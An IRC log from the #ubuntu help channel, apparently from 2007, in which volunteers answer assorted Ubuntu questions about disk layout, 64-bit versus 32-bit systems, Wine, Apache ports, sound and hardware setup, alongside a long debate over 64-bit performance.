[10:55] <mkquist> hey folks, installing ubuntu on 3gig hd, need to know which files to put on secondary (large) hd to keep 3 gig from filling up - any takers?
[10:55] <kbrooks> hi
[10:55] <NoelJB> Flannel: Or RH, which doesn't ever update hardly anything from the first R.0 release except for fixes.  ;-)
[10:55] <h-bomb> Flannel: take cacti, still has a old version of it that has serious security holes that allow for remote code execution
[10:55] <Flannel> h1st0: that's because it's nearly impossible to keep them stable ;)
[10:55] <josh8178> How much different is Feisty Herd 5 to the new Beta release
[10:55] <h1st0> Flannel: yeap
[10:56] <Stormx2> Can I get rid of "RAID disks management" if I don't use RAID?
[10:56] <Flannel> h-bomb: cacti is in universe, you should contact the package maintainer.
[10:56] <h1st0> josh8178: There were about 170 updates that I can see in the last week.
[10:56] <h1st0> josh8178: but as far as features?  Not much is going to change.
[10:56] <josh8178> Is it worth updating
[10:56] <sabayonuser> Probably
[10:56] <NoelJB> mkquist: I'd relocate most of what's under /home, if you can.  Also makes for clean installs of new OS.
[10:56] <h1st0> josh8178: why wouldn't you update?
[10:56] <Flannel> h-bomb: which holes?  are you sure hey're still there and not patched?
[10:56] <h1st0> josh8178: Oh you mean update from edgy.
[10:56] <josh8178> I will do a fresh install when the ISO has downloaded
[10:57] <h1st0> josh8178: What are you updating from?
[10:57] <h-bomb> Flannel cacti released patchs and they also released a new version of cacti
[10:57] <josh8178> Herd 5
[10:57] <h-bomb> havent checked the repositorues in a week or so
[10:57] <NoelJB> mkquist: I just did an basic install of Fiesty off of the DVD, and it takes ~2.2GB.
[10:57] <owen1> is there any channel dedicated for ruby on rails on ubuntu?
[10:57] <h-bomb> to see if they updated that with the new stuff
[10:57] <Flannel> h-bomb: right, the new version won't be backported, but all the patches will.  http://changelogs.ubuntu.com/changelogs/pool/universe/c/cacti/cacti_0.8.6h-1ubuntu3/changelog
[10:57] <Pelo> owen1,  did you try #ruby ?
[10:57] <rasputnik> owen1: nope. i use both though, what's the problem.
[10:58] <h1st0> josh8178: why would you download the new cd then?  If you keep your system up to date you are runnin the beta.
[10:58] <owen1> Pelo: i am new, thanks, i'll try it.
[10:58] <Flannel> h-bomb: but really, stuff in universe is maintained by individuals, not a security team.  You should contact the maintainer about getting the patches integrated.
[10:58] <owen1> rasputnik, can we talk in private?
[10:58] <rasputnik> owen1: don't go into #ruby (or #ruby-talk) asking about rails - try #rubyonrails
[10:58] <mkquist> NoelJB - well im using edgy and it uses like 1/2 the drive, just need to know which folders grow as u add programs, older system wont boot from new 400 gig  =(
[10:58] <h-bomb> Flannel yeah, but i just find it easier to compile and do it myself
[10:58] <h-bomb> lol
[10:59] <h-bomb> i know, thats bad eithics
[10:59] <h-bomb> lol
[10:59] <josh8178> 350 updates
[10:59] <_muelli_> mkquist: there are several tools. try filelight or kdirstat
[10:59] <mkquist> NoelJB - wanna keep 3 gig as static (size wize) as i can
[10:59] <mkquist> _muelli - what will they do for me?
[10:59] <josh8178> There are updates for hardware i don;t even have
[10:59] <Flannel> h-bomb: right, well, if you did the former, you wouldn't have to worry about upgrade issues either.
[10:59] <h-bomb> Flannel: indeed lol
[10:59] <NoelJB> mkquist: depends on what you install to start and what you add.  For me, the bulk of what I add over time are GBs of source from subversion repositories, so I keep that on a separate drive.
[11:00] <[E] th01> when i boot i get this Unknown interupt or fault at EIP  ??
[11:00] <mkquist> NoelJB - which folder would new software be installed in? user?
[11:01] <h-bomb> Flannel: this is a work server or anything, just my linux box at home i use to monitor my lap and personal network and all the other computers around the house
[11:01] <NoelJB> I've yet to install JDK 5 or 6, which I'll get to shortly.  and you can always relocate things and use bind mounts.
[11:01] <h-bomb> *isnt
[11:01] <train> is there a way to remove all the password nagging?
[11:01] <Pelo> [E] th01, look the msg up in the forum
[11:01] <h-bomb> *lab
[11:01] <donna_> h-bomb, Do you have the Universe security repo enabled?it is a seperate repo
[11:01] <train> like for synaptic and terminal
[11:01] <[E] th01> is it bad?
[11:01] <NoelJB> mkquist: depends.  are we talking about where apt-get installs things?
[11:01] <_muelli_> train: dunno for sure, but you may have luck with editing /etc/sudoers
[11:01] <h-bomb> donna_: not sure, let me check
[11:01] <Flannel> train: you don't want to remove it.
[11:01] <h-bomb> donna_ yes
[11:01] <donna_> train, Yes, but it isn't verry secure without them
[11:01] <mkquist> NoelJB - correct
[11:01] <Pelo> [E] th01, I have no idea , that's why I told you to look up the error msg in the forum
[11:02] <rasputnik> train: it should only ask you the first time.
[11:02] <graft> ergh. does anyone know how to turn up 'external amplifier' in alsamixer?
[11:02] <NoelJB> mkquist: because I tend to install things in either /usr/local or /opt, depending.
[11:02] <donna_> graft, If it is a line output it may not be posible
[11:03] <mkquist> NoelJB - do u know if i can tell ubuntu where to install programs?
[11:03] <graft> donna_: well, actually my real problem is that i don't have any sound, and when i modprobe my sound driver (snd_atiixp), it says: AC'97 0 analog subsections not ready
[11:03] <h1st0> graft: lspci | grep Multimedia
[11:03] <h-bomb> lol
[11:04] <h1st0> graft: or perhaps because you already have the module loaded.
[11:04] <ulisse> 'lo people
[11:04] <h-bomb> maybe ill just stick with 6.06 till its no longer supported and then upgrade when im forced to
[11:04] <ulisse> i have some questions about 64bit ubuntu
[11:04] <graft> h1st0: um, no i unloaded it before reloading it
[11:04] <h-bomb> lol
[11:04] <xtknight> !hi | ulisse
[11:04] <ubotu> ulisse: Hi! Welcome to #ubuntu!
[11:04] <h1st0> graft: ahh.
[11:04] <xtknight> i can certainly answer 64 quests
[11:04] <NoelJB> mkquist: haven't tried.  FWIW, you might be interested in http://www.pathname.com/fhs/
[11:04] <ulisse> can I run windows apps under wine in a 64bit linux?
[11:05] <owen1> .n
[11:05] <xtknight> ulisse: yes
[11:05] <mkquist> NoelJB - ty, ill check it out
[11:05] <ulisse> xtknight: I mean, windows 32bit apps; does they behave normally?
[11:05] <xtknight> ulisse: you can compile wine in a native 64 form, where everything is emulated up to 64 bit even.  or the compiled 64 bit native version can still emulate 32-bit windows DLLs.  there is also 64-on-64 emulation available where it can emulate XP64 binaries
[11:06] <h1st0> Does anything behave normally in wine?
[11:06] <xtknight> ulisse: yes you can run windows 32 bit apps on a 64bit wine with no issue at all
[11:06] <h1st0> lol
[11:06] <owen1> rasputnik, are u there?
[11:06] <xtknight> and what h1st0 said..
[11:06] <xtknight> base line being wine32.  there will be no difference
[11:06] <mjr> actually, xtknight is wrong in that wine needs to be compiled 32-bit to run 32-bit windows stuff. But it is indeed possible.
[11:07] <_charles> can someone tell me if the 7.04 beta is stable enough for proper use as its a toss up between that or edgy
[11:07] <xtknight> http://wiki.winehq.org/WineOn64bit
[11:07] <rasputnik> owen1: yeah, fire away
[11:07] <ulisse> mjr: and is the 64bit-ubuntu's wine compiled to run 32 or 64 bit apps?
[11:07] <xtknight> for some reason it looks to me like some of wine is still 64bit
[11:08] <xtknight> as there is no change in architecture during the compile..
[11:08] <rasputnik> mjr: most of the 64-bit ubuntu apps are 32-bit, it's just the kernel that's 64 bit
[11:08] <xtknight> um
[11:08] <mjr> rasputnik, incorrect
[11:08] <owen1> rasputnik, i am trying to converse in the private window. did u get my messages?
[11:08] <xtknight> rasputnik: no all the apps in a 64bit distro are 64.  every last one actually
[11:08] <xtknight> rasputnik: unless you install 32 ones
[11:09] <rasputnik> xtknight: how do you tell them apart?
[11:09] <mjr> ulisse, there is no wine package for ubuntu/amd64, you'd have to install from elsewhere
[11:09] <xtknight> rasputnik: file </path/to/binary>  it will say 64-bit or 32-bit lsb
[11:09] <dk_ii> !pdf
[11:09] <ubotu> pdf is the Portable Document Format created by Adobe; viewable in GNU/Linux with xpdf/kpdf/gpdf, evince and also adobe reader (free download, but closed source)
[11:09] <ulisse> mjr: ok, thanks
[11:09] <xtknight> ulisse: use http://wiki.winehq.org/WineOn64bit
[11:10] <xtknight> all of the ubuntu 64 stock distro is compiled in completely 64bit mode, to my knowledge
[11:10] <rasputnik> xtknight: my understanding was there wasn't a dedicated 64-bit ubuntu CD
[11:10] <xtknight> if there are any exceptions there are very few
[11:10] <mjr> rasputnik, there is
[11:10] <variant> mjr: you sure? i thought they were wokring on 64bit compatibility
[11:10] <xtknight> rasputnik: there are versions for : i386 sparc ppc amd64  as far as i know.  all are native in whichever you select
[11:10] <mjr> xtknight, indeed. Even openoffice I think is 64-bit nowadays, that was an exception for the first releases
[11:10] <rasputnik> mjr: for Edgy?
[11:10] <xtknight> yes there is an Edgy amd64
[11:10] <ulisse> other 64bit related question: is there someone playing EnemyTerritory on a 64 bit system? Does it work?
[11:11] <xtknight> ulisse: yup, done that here
[11:11] <mjr> rasputnik, for _all_ releases so far
[11:11] <variant> ulisse: anyway, unless you have more than 4gb ram 64bit is not really gonna make much difference for you (might even increase some application startup times)
[11:11] <xtknight> ulisse: all i have to do was run the installer in 32bit mode.  "linux32 sh asdf.run"
[11:11] <xtknight> ulisse: then, 'et' can be executed via the normal cmd 'et'
[11:11] <Caramba> Hiya folks. I have two dvb-cards, found in /dev/dvb/adapter0 and .../adapter1. How do I swap the position of the cards, so that the card formerly found in .../adapter0 now is  .../adapter1, and vice versa? I'm working in console mode.
[11:11] <xtknight> yeah in general 64bit is only a good idea for math/scientific apps anyway
[11:12] <xtknight> 32bit code runs faster on core 2 duos
[11:12] <rasputnik> mjr: i tried to get a 64-bit kernel a while back (and an smp one) and it looked like they'd been rolled into a single kernel
[11:12] <ThesaintCtba> Algum aqui manda ver em portugus?
[11:12] <xtknight> and will on intel's future CPUs it's likely
[11:12] <xtknight> !pt | ThesaintCtba
[11:12] <ubotu> ThesaintCtba: Por favor use #ubuntu-br ou #ubuntu-pt  para ajuda em portugus. Obrigado.
[11:12] <variant> Caramba: with a udev rule, its not obvious how to do it and i don't have time to show you but the gentoo wiki has an excellent guide that you can use
[11:12] <ulisse> hmm... ok, I'll stick with 32 for now...
[11:12] <xtknight> rasputnik: linux-generic is a standard package amongst all archs
[11:12] <mjr> rasputnik, you're talking about the kernels available in the 32-bit repostiories; there may well have been a 64-bit kernel there too (not sure), but that's different from the amd64 version of ubuntu
[11:12] <xtknight> that does not mean the kernel is the asme
[11:12] <variant> ulisse: really, it's more problems than benefits
[11:13] <variant> ulisse: good to stick with 32bit
[11:13] <xtknight> variant: i agree
[11:13] <xtknight> my next ubuntu will be 32 after lots of frustration
[11:13] <|PiP|> did amsn get an upgrade?
[11:13] <pike_> ulisse: but we always need people to file the bug reports so feel free to install 64bit :)
[11:13] <ulisse> :D
[11:13] <Caramba> variant: OK, I might be able to figure it out m'self...got the web adress?
[11:13] <rasputnik> xtknight: what sort of frustration?
[11:14] <xtknight> rasputnik: win32 codecs, nothing working automatically like Flash
[11:14] <variant> xtknight: not many people seem to understand what it really means to have 64bit vs 32..they seem to think it means a massive speed increase or something.. (i had simmilar miss understandings untill i read up on the subject the other day)
[11:14] <xtknight> variant: other way around for the latest intel CPUs, as a matter of fact.  64 has some gains in floating point ops
[11:14] <xtknight> variant: but mostly yes 32 is faster
[11:14] <variant> Caramba: http://gentoo-wiki.com/HOWTO_Customizing_UDEV#The_basics_of_writing_rules
[11:14] <xtknight> besides, you can use >4G with 32bit and PAE
[11:15] <ulisse> variant: it should increase speed in apps that makes huge calculations
[11:15] <ravi_master> variant: if you're in college take a basic ece class and you'll know the really low-level difference
[11:15] <rasputnik> xtknight: yeah, but pae is a horrible mess
[11:15] <variant> xtknight: yeah but its not optimal
[11:15] <Caramba> variant: Thx very much!
[11:15] <Pelo> variant, xtknight  thanks for that bit of info my borther has a 64 bit computer and I was thinking of installing ubu on it,  I'll read up first
[11:15] <ulisse> variant: sucha as cinelerra renderings, and maybe blender's
[11:15] <ravi_master> xtknight: 32 bit is not necessarily faster xtknight
[11:15] <xtknight> Pelo: all 64bit chips sold for PCs support 32bit also, so dont hesitate to use the normal 32
[11:15] <variant> ulisse: yeah, not for example a desktop pc
[11:15] <greig__> with vmware player with xp installed, do u have to/can u install gfx drivers( ATi ) --------
[11:16] <rasputnik> well dammit, there's the 64-bit cd. don't know what i was thinking
[11:16] <xtknight> ravi_master: nope not for everything, but for most things it is.  including video encoding
[11:16] <variant> ulisse: if you render huge sceens with that on a regular basis it might be worth looking into. otherwise don't bother
[11:16] <ravi_master> xtknight: in fact, on an identical system (cpu spec), a 32-bit machine would not ever exceed the performance of a 64-bit machine
[11:16] <ulisse> variant: I was thinking to cinelerra, actually, but as far as i use it once a year, I'll wait a little bit more for the rendering... :)
[11:16] <xtknight> ravi_master: what if the CPU has differences in the way it executes 32bit vs. 64bit?  such as the Core 2 Duo, which has optimizations in 32bit mode (instruction combining) that it does not in 64bit mode.
[11:16] <ravi_master> speed is a different kind of definition which is a sub-attribute of "performance"
[11:17] <CPrgmSwR2> Is there a type of cd-rom image I can burn that has a high success rate of booting form the cd-rom for old computers?
[11:17] <NoelJB> mkquist: for any given .deb, dpkg -c will tell you where it will install.
[11:17] <rasputnik> xtknight: do the recent 64 bit intels run 32-bit without a performance hit ? they used to run slower.
[11:17] <lufis> CPrgmSwR2: yep, alernate install
[11:17] <variant> CPrgmSwR2: just the standard ubuntu
[11:17] <ulisse> have to go, thanks guys!
[11:17] <lufis> CPrgmSwR2: the alternate iso is text-based
[11:17] <xtknight> rasputnik: it was the other way around.  they ran 64bit slower, and they still do
[11:17] <CPrgmSwR2> I tried both alternative and standard install
[11:17] <ravi_master> xtknight: you're getting bogged down in specific CPU specs, I am making a general statement which is true most of the times
[11:17] <ardchoille> I installed flash, but the flash graphics cover any drop-down menus that appear on webpages. Is this normal? Is there a fix for it?
[11:17] <variant> CPrgmSwR2: you might want to try an older kernel (2.4) they used scsi emulation for cd's iirc
[11:17] <variant> ardchoille: with beryl?
[11:17] <xtknight> ravi_master: the fact remains 64bit is still a pain in the rear for most stuff so the 1% gains aren't worth it
[11:17] <CPrgmSwR2> OHHHH
[11:18] <xtknight> i say this as a user of 64bit linux for a couple yrs
[11:18] <CPrgmSwR2> That may explain it
[11:18] <ardchoille> variant: No, just Firefox on Dapper
[11:18] <agws> need help with no-ip
[11:18] <variant> ardchoille: well, is it every site?
[11:18] <CPrgmSwR2> Where can I find a 2.4 kernel disc
[11:18] <owen1> rasputnik, i see this message : Private messages from unregistered users are currently blocked due to spam problems.
[11:18] <variant> agws: the is not the right place to ask
[11:18] <graft> hey how do i see what sound cards are active?
[11:18] <rasputnik> xtknight: no, honest. 64-bit intel ran 32-bit in a sort of emulation, which meant it was slower for 32-bit platforms than a 32-bit chip. amd64 always ran 32 or 64 bit without penalty, which is why they were very popular
[11:18] <graft> nm
[11:18] <variant> CPrgmSwR2: google, afaik, knoppix was on 2.4 up untill a year ago or soemting
[11:18] <NoelJB> variant: you know that beryl and Compiz just agreed to merge again, under a new name, right?
[11:18] <ardchoille> variant: All the ones I have visited that have a drop down menu.
[11:18] <agws> variant - where should I ask
[11:18] <xtknight> rasputnik: guess i'm not aware of that one
[11:18] <ravi_master> xtknight: sure is, I don't say no to that, but the extra bits in the data size, when utilized, can make tremendous difference for particular applications
[11:18] <rasputnik> owen1: you should probably register then :)
[11:18] <mjr> rasputnik, you're thinking ia64, which is different from the amd64-compatible intels
[11:18] <variant> NoelJB: really? thats interesting :)
[11:18] <variant> NoelJB: thanks for letting me konw
[11:19] <owen1> rasputnik, how? i new here..
[11:19] <NoelJB> variant: yes!  it all went down this past week.
[11:19] <variant> NoelJB: cool
[11:19] <xtknight> ravi_master: i believe the general consensus is:  scientific/math floating point calculation-->64bit, everyone else-->32bit
[11:19] <rasputnik> mjr: yes, that's what i was asking. the new ones don't have that penalty any longer then?
[11:19] <xtknight> even video encoding performs faster in 32 mode at least according to some benchmarks done by x-bit labs
[11:19] <swhalen> My GDM starts in a veary high screen resolusion, chen corrects when i log in. Why is this?
[11:19] <lufis> pfft, forget 64 bit. i run 128!
[11:19] <variant> agws: email no-ip suport, no-ip forums, mailinglists. not the ubuntu support channel
[11:19] <rasputnik> owen1: you need to : /msg nickserv register ....
[11:19] <jbernhardt> 128 eh?
[11:19] <ravi_master> xtknight: where tomorrow (everyone else) -> hard-core math computational tasks
[11:20] <lufis> :P
[11:20] <NoelJB> variant: see http://lists.beryl-project.org/pipermail/beryl-dev/2007-March/000356.html
[11:20] <mjr> rasputnik, the issue is not "newer". IA64 is a whole different architecture
[11:20] <xtknight> ravi_master: look at how long 64 has been out though
[11:20] <NoelJB> They are even talking of relicensing, since GPL is a problem.
[11:20] <rasputnik> mjr: to what?
[11:20] <xtknight> ravi_master: 32 is still faster for at least half of things today :O
[11:20] <kalin> hey, does anyone know a good todo/task application for linux?
[11:20] <mjr> rasputnik, anyway, I don't know how efficiently Intel implements amd64; at least on amd64 there are speed advantages to 64-bit code
[11:20] <mjr> rasputnik, to x86/amd64
[11:21] <Lcarsdata2> what Linux kernel version is ubuntu 6.06
[11:21] <xtknight> well intel certainly implements 64bit as well as AMD
[11:21] <xtknight> but
[11:21] <variant> anyone know a linkify script for irrsi? it's so hard to chase the link up the page in the is channel :)
[11:21] <steveire> Hi. I My laptop uses the nv driver fine, but keeps a blank screen with the nvidia driver. I'm trying the latest feisty. Is this a known issue?
[11:21] <agws> thanks for nothing.... I'm trying to connect to my UNBUTU serever via internet.
[11:21] <xtknight> they have optimizations in 32 that they don't have in 64
[11:21] <erUSUL> Lcarsdata2: uname -a (2.6.15 iirc)
[11:21] <ravi_master> xtknight: that is true for specific 64 bit cpu's which don't handle 32bit very well
[11:21] <agws> variant - thanks for nothing.... I'm trying to connect to my UNBUTU serever via internet.
[11:21] <Lcarsdata2> ok
[11:21] <rasputnik> mjr: you said 'amd64-compatible intels', which i thought were newer than the original 64-bit intels. no?
[11:21] <hylje> ubunudu
[11:21] <variant> steveire: you will have to reconfigure the xserver, ask in #ubuntu+1
[11:21] <NoelJB> Lcarsdata2: how badly do you need to know?  I have a 6.06 that I can boot to check.
[11:21] <ravi_master> xtknight: for those which can switch easily (easily being most modern cpu's including new intels), it is a non-issue
[11:22] <steveire> I have done that variant. I'll join ubuntu+1
[11:22] <variant> agws: you don't have to make any changes at all to the ubuntu server
[11:22] <variant> steveire: use nvidia-xconfig i think it's called
[11:22] <Dame> How can I tell update-manager to look for the updates in mounted ISO (directory)?
[11:22] <mjr> rasputnik, you're just confusing the issue with newer and older. There are still new ia64 cpus being sold too, but yes, intel started producing amd64-compatible cpus later than ia64 cpus
[11:22] <lzhang> hello, I'm trying to get xorg to display at 1280x1024 and refresh rate of 60; when I choose that option through 'dpkg-reconfigure xserver-xorg', my refresh rate gets set at 61.... how do i fix this?
[11:22] <jbernhardt> hey, what is the difference between vi and cream for vi?
[11:23] <hylje> jbernhardt: the other is vi and the other is cream for thereof
[11:23] <ravi_master> xtknight: most people have trouble setting up 64-bit configured computer because of the lack of precompiled binaries and they blame it on the binaries. That is where most of the negative attitude problems like your's and rasputnik's come from.
[11:23] <Lcarsdata2> dw, I don't think I need to
[11:23] <agws> variant - The redirect works through no-ip, but I can't establish connection on PORT:8030.  Do I have to change anything on my server?
[11:23] <variant> Dame: mount it as a loopback device and put it in sources.list springs to mind
[11:23] <xtknight> ravi_master: i'm used to compiling stuff.  the negative attitudes came from needless frustration and needless performance loss
[11:23] <rasputnik> mjr: to me, 'newer' is something that came out after the 'older' thing. but let's not quibble, i think we agree on the basics :)
[11:23] <variant> agws: is the webserver working on port 8080?
[11:24] <agws> variant - how can I check?
[11:24] <variant> agws: or the default o f80
[11:24] <Dame> variant, Ive mounted it, thanks for the advice
[11:24] <variant> of 80
[11:24] <rasputnik> ravi_master: 64-bit linux is just not as mature as it could be. that's all
[11:24] <variant> Dame: np
[11:24] <xtknight> ravi_master: i run one of the new intels that runs 32bit code faster than it could ever run in 64 due to an architectural limitation.  since most of my stuff was not faster in 64 anyway, i can actually gain some in 32bit while maintaining a system that's easier to configure.  that was my point
[11:24] <ceeg> how do i stop a terminal from beeping
[11:24] <Lcarsdata2> ceeg, disconnect the cable to the beeper inside your computer :P
[11:25] <jbernhardt> LOL
[11:25] <mjr> 64-bit linux is quite mature, thank you. If you want some proprietary Flash or something, that's a separate issue and not related to Linux or even Ubuntu really.
[11:25] <jbernhardt> ceeg: turn off your sound
[11:25] <agws> variant - I got DSL modem and my ISP is blocking PORT:80 so I need to by pass it.
[11:25] <jbernhardt> i've never heard a terminal beep
[11:25] <lufis> ceeg: is there a bios option?
[11:25] <Lcarsdata2> what is a Makefile?
[11:25] <ravi_master> rasputnik: that's true, I acknowledge that but people who take a specified problem like xtknight's and generalize it to a whole class of "64-bit processors" is just wrong.
[11:25] <rasputnik> ravi_master: you say you can switch easily between 32 and 64 bit. that's only true if you have both 32 and 64 bit libraries (and binaries) installed.
[11:25] <variant> agws: so you set up the web server to listen on port 8080?
[11:25] <sabiancra> I have an ubuntu installation that i ghosted from a failing drive to a larger drive, when you boot, it just freezes with the word GRUB in the upper left hand corner.  I tried reinstalling grub to no avail.  Any ideas
[11:25] <sputnick> hi there
[11:26] <ceeg> lufis: possibly. i'll check it out later. just turn off speaker?
[11:26] <xtknight> ravi_master: but it's not only me that have the problems. for most, the negligible to no performance additions you get from running 64 in MOST cases are not worth the trouble for the average person
[11:26] <rasputnik> Lcarsdata2: it's a recipe that tells make how to complie source code
[11:26] <Lcarsdata2> ok
[11:26] <agws> variant - how do I do that?
[11:26] <sabiancra> if i do a grun-install hd0, it just freezes
[11:26] <variant> agws: what package did you install? ubuntu deb or apache from source?
[11:26] <sabiancra> *grub-install hd0
[11:26] <lufis> ceeg: go to preferences > sound > system beep
[11:26] <ravi_master> rasputnik: when I speak about the switch I mean the hardware, it's very much a hardware-centric task, I mean, you're essentially talking about having 32-wires going out and in to your cpu and 32 more wires for 64 bit.
[11:26] <xtknight> ravi_master:  nobody's denying 64bit can address >4G of ram, or that it has bigger registers or advantages in scientific apps.  it is simply a difference of opinion here
[11:26] <post_utopia> so for the average user what are the benefits of running x64?
[11:27] <mjr> post_utopia, not much, really
[11:27] <freemind> boas
[11:27] <agws> variant - I installed LAMP 1st and than had the desktop installed on top of it.
[11:27] <ravi_master> xtknight: yes sir, let's leave this war be :-)
[11:27] <variant> post_utopia: none, more detrimental than beneficial (on any os)
[11:27] <variant> agws: how did you install lamp?
[11:27] <Dame> variant, where should I point? In the root of the mounted ISO or in some specific directory?
[11:27] <rasputnik> variant: not on any os necessarily
[11:27] <xtknight> 64bit linux is much more mature than 64bit xp that's for sure
[11:27] <xtknight> but it's still not perfect
[11:27] <sabiancra> anyone familiar with fixing grub on ubuntu?
[11:27] <agws> variant - from the server ISO that I downloaded
[11:28] <post_utopia> mjr, I have an ATI video and broadcom wireless; if I run x64 will I have added difficulty getting the hardware to work correctly?
[11:28] <ceeg> lufis: nice, thanks
[11:28] <variant> Dame: the mountpoint i think, never done this my self mind you
[11:28] <Lcarsdata2> bash: make: command not found - what does this mean?
[11:28] <gfewre> is it possible to install automatix on 7.04?
[11:28] <Pelo> sabiancra,  #grub
[11:28] <lufis> ceeg: :)
[11:28] <sabiancra> ok
[11:28] <variant> agws: that doesn't make much sense.. is this on ubuntu?
[11:28] <xtknight> post_utopia: you might, if you haev to use ndiswrapper
[11:28] <pike_> Lcarsdata2: sudo apt-get install build-essential
[11:28] <Lcarsdata2> I can't
[11:28] <variant> agws: please show me the link to wha tyou downloaded
[11:28] <Lcarsdata2> I have no internet
[11:28] <mjr> post_utopia, ATI, no, broadcom, maybe, see xtknight's comment
[11:28] <Lcarsdata2> I am trying to set up wi-fi atm
[11:28] <variant> gfewre: ask in #ubuntu+1
[11:28] <xtknight> i dont even know if ndiswrapper supports 64 yet
[11:28] <post_utopia> that was the solution I used on x86
[11:28] <joshua__> i bought a webcam and dont know how to hook it up and get it working
[11:28] <sputnick> is it possible to recover the function "automount" installed by default on ubuntu to mount anythink like USB, cdroms... (lost function) I'm running edgy kubuntu & kde3.5
[11:28] <Pelo> gfewre,  you don't need automatix,  the what it supplies is easy enough to install in the regular way
[11:29] <pike_> Lcarsdata2: id maybe goto packages.ubuntu.com and download the relevant packages for compiling stuff then copy the .deb files to your computer i guess
[11:29] <agws> variant - here is what I did:  I got the server from ubuntu, installed it, after it was up and runing I put in a command to install desktop components.  And that is it.  So I have full LAMP + desktop
[11:29] <HeX-bolla> hi, I'm trying to put 20 gigs of pictures in 4 GB sized archives to be able to make nice backups. I thought this would be trivial, but it hasn't been trivial to investigate how to do it. tar has multi-volume options that persumably was great in the 70:s, arj can't handle that large archives and bzip2 only handles single files. Can anyone suggest a good method?
[11:29] <Lcarsdata> argh shouldn't it be included by default pike_?
[11:29] <variant> joshua__: depends what paplication youwant to use it with, if it's a well supported cam then it should be available as soon as you plug it in (note that ubuntu won't alert you to the fact that hardware has been plugged in/installed)
[11:29] <xtknight> HeX-bolla: rar?
[11:30] <donamor> is this where you come for help?
[11:30] <xtknight> donamor: yup
[11:30] <variant> agws: ok, there is an option in the config file,
[11:30] <HeX-bolla> xtknight isn't rar shareware?
[11:30] <xtknight> HeX-bolla: it is indeed.  sorry im not aware of any open source equivs
[11:30] <rasputnik> Lcarsdata: is it not on the CD?
[11:30] <xtknight> HeX-bolla: oh 7-zip might do it
[11:30] <pike_> Lcarsdata: no server apps like sshd and no gcc and such by default...
[11:30] <Lcarsdata> one sec
[11:30] <agws> variant - I'm new to this so be gentile
[11:30] <HeX-bolla> xtknight ok ty I'll check it out
[11:30] <joshua__> ok well i stuck in the disk and the webcam sayys follow the prompts when it says to hook up the camera into the port.  It never did that
[11:31] <rasputnik> agws: what do you want to do ? run your webserver on a different port?
[11:31] <variant> agws: nano -w /etc/apache2/ports.conf , it's quite obvious what to change (use sudo at the start of that command)
[11:31] <Dame> !sources.list
[11:31] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[11:31] <kikkymonk> Hello All... I just made the leap and it really was not as painful as I imagined it to be
[11:31] <xtknight> !hi | kikkymonk
[11:31] <ubotu> kikkymonk: Hi! Welcome to #ubuntu!
[11:31] <xtknight> fire away any questions
[11:31] <variant> agws: then just restart apache, sudo /etc/init.d/apache2 restart
[11:31] <agws> rasputnik - yes, My ISP blocking PORT:80, and instead of getting my server I get the bloody Sympatico Modem
[11:31] <joshua__> do I need to shut off the computer and turn it back on with the disk in there?
[11:32] <lufis> kikkymonk: :)
[11:32] <variant> agws: in that case (why didn't you say that to start with?!) you will have to forward the port on your modem/router/firewall)
[11:32] <rasputnik> agws: well, do what variant just said 'sudo gedit /etc/apache2/ports.conf'
[11:32] <xtknight> gksudo :D
[11:32] <variant> agws: if it doesn't support it then you can't, buy a new broadband router that will allow you to
[11:32] <tbuss> im interested in setting up a ftp server. I would like to protect the contents somehow. Is it possible to assign permission to users that don't have an active account on the machine?
[11:32] <rasputnik> xtknight: meh. I didn't want to say 'vi' and scare him
[11:33] <variant> agws: so when you browse to your ip on port 80 you get your modem?
[11:33] <dauoalagio2> Hello, my battery is rather at a little length after installing Ubuntu
[11:33] <joshua__> variant-  should I start over by turning off computer and turning it back on with the webcam disk in there?
[11:33] <steveire> Ok. I can log in even though the screen is blank, and I know kde starts because I hear the system login sound. Any ideas? (Blank screen using nvidia driver, nv ok)
[11:34] <rasputnik> joshua__: what is the disk? a windows driver disk?
[11:34] <Pelo> dauoalagio2,  what ?
[11:34] <variant> joshua__: no, just plug in the webcam and open the program you will be using it with
[11:34] <agws> variant - i tried restart and this is what I got -  Could not determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
[11:34] <joshua__> a logitech webcam disk that came with the camera
[11:34] <xtknight> dauoalagio2: so recharge it ?  do you mean ubuntu drains it more than windows during normal use?
[11:34] <variant> joshua__: in a terminal type dmsg | tail and put the contents on http://rafb.net/paste and give me the link
[11:34] <dauoalagio2> xtknight, yes sorry.
[11:34] <variant> agws: yeah thats fine
[11:34] <rasputnik> joshua__: you don't need that.
[11:34] <dauoalagio2> Pelo, it drains faster on ubuntu than on windows..it's a laptop
[11:34] <variant> agws: answer my earlyer question
[11:35] <variant> agws: in that case (why didn't you say that to start with?!) you will have to forward the port on your modem/router/firewall)
[11:35] <variant> agws: if it doesn't support it then you can't, buy a new broadband router that will allow you to
[11:35] <joshua__> i dont know what he just said
[11:35] <donamor> i got a problem with sound not work. I'm using the beta3 of  7.04.  i have an ASUS M2N motherboard with a nvidia nforce MCP61 chip. lspci says it identified, But it still does not work. i think i need to do some /etc/modprobe.d/alsa-base changes
[11:35] <xtknight> dauoalagio2: hmm not sure.  all i can recommend is something you probably shouldn't do for numerous reasons, but it could improve the problem (getting a 'tickless' kernel saves power but at the moment it's basically not available for ubuntu)
[11:35] <borgus> How do you set qt4 to be the default qt in the system (for development purposes)?
[11:35] <xtknight> dauoalagio2: consider lowering lcd brightness , etc
[11:35] <Pelo> dauoalagio2,  turn on powernowd it will varry your cpu freq , should help a bit
[11:35] <kikkymonk> ubuntu seems slower than XP... my windows take some time to appear and there is a general sense of 'laggyness' I'm suspecting its my video card, is there something i can do to fix it?
[11:35] <steveire> Also, is there some way I can scroll up in irssi?
[11:35] <dauoalagio2> xtknighy, how can i?
[11:35] <variant> agws: if you browse to your ip address do you get your modems webpage?
[11:35] <rasputnik> steveire: page up/down
[11:35] <pike_> steveire: pgup and down
[11:35] <dauoalagio2> Pelo, what now?
[11:35] <xtknight> dauoalagio2: the lcd part?
[11:36] <dauoalagio2> xtknight, what sorry..what do you recommend i shouldn't do
[11:36] <xtknight> dauoalagio2: i dont know.  if you can find the driver/module you need to control it via your keyboard you can do it
[11:36] <steveire> Any experience with nvidia?
[11:36] <Lcarsdata> make
[11:36] <Pelo> dauoalagio2,  search the ubuntuforum for y our problem  I am sure you will find a bunch of tricks to extend your batery life
[11:36] <xtknight> dauoalagio2: the tickless kernel because it's very hard to install
[11:36] <Lcarsdata> sorry, wrong keyboard
[11:36] <Dame> !mp3
